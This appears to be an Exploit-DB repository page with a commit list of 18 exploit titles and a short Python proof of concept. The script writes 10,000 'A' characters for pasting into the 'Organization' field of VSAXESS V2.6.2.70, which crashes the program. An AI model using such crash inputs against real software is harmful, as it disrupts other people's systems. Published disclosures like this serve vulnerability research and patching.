11366ca935
18 changes to exploits/shellcodes FaceTime - RTP Video Processing Heap Corruption FaceTime - 'readSPSandGetDecoderParams' Stack Corruption FaceTime - 'VCPDecompressionDecodeFrame' Memory Corruption Blue Server 1.1 - Denial of Service (PoC) eToolz 3.4.8.0 - Denial of Service (PoC) VSAXESS V2.6.2.70 build20171226_053 - 'organization' Denial of Service (PoC) Arm Whois 3.11 - Buffer Overflow (SEH) libiec61850 1.3 - Stack Based Buffer Overflow Morris Worm - sendmail Debug Mode Shell Escape (Metasploit) blueimp's jQuery 9.22.0 - (Arbitrary) File Upload (Metasploit) Morris Worm - fingerd Stack Buffer Overflow (Metasploit) PHP Proxy 3.0.3 - Local File Inclusion Voovi Social Networking Script 1.0 - 'user' SQL Injection CMS Made Simple 2.2.7 - Remote Code Execution OOP CMS BLOG 1.0 - Cross-Site Request Forgery (Add Admin) Grocery crud 1.6.1 - 'search_field' SQL Injection OOP CMS BLOG 1.0 - 'search' SQL Injection OpenBiz Cubi Lite 3.0.8 - 'username' SQL Injection LibreHealth 2.0.0 - Arbitrary File Actions
26 lines
No EOL
920 B
Python
Executable file
26 lines
No EOL
920 B
Python
Executable file
# Exploit Title: VSAXESS V2.6.2.70 build20171226_053 - 'organization' Denial of Service (PoC)
|
|
# Discovery by: Diego Santamaria
|
|
# Discovery Date: 2018-11-05
|
|
# Vendor Homepage: https:https://www.visionistech.com/en/home/
|
|
# Software Link: https://www.visionistech.com/en/vsaxess-desktop-software/
|
|
# Tested Version: V2.6.2.70 build20171226_053
|
|
# Vulnerability Type: Denial of Service (DoS) Local
|
|
# Tested on OS: Windows 7 Professional
|
|
|
|
# Steps to Reproduce:
|
|
|
|
# 1. Run the python code organization.py
|
|
# 2. Open organization_exploit.txt and copy the content
|
|
# 3. Open VSAXESS.exe
|
|
# 4. Register a password and username
|
|
# 5. choose 'Control Panel'
|
|
# 6. choose 'Access Control'
|
|
# 7. choose 'Add'
|
|
# 8. Paste the content from organization_exploit.txt on 'Organization' and Crashed
|
|
|
|
#!/usr/bin/env python3
|
|
|
|
content = "\x41" * 10000
|
|
f = open ("organization_exploit.txt", "w")
|
|
f.write(content)
|
|
f.close() |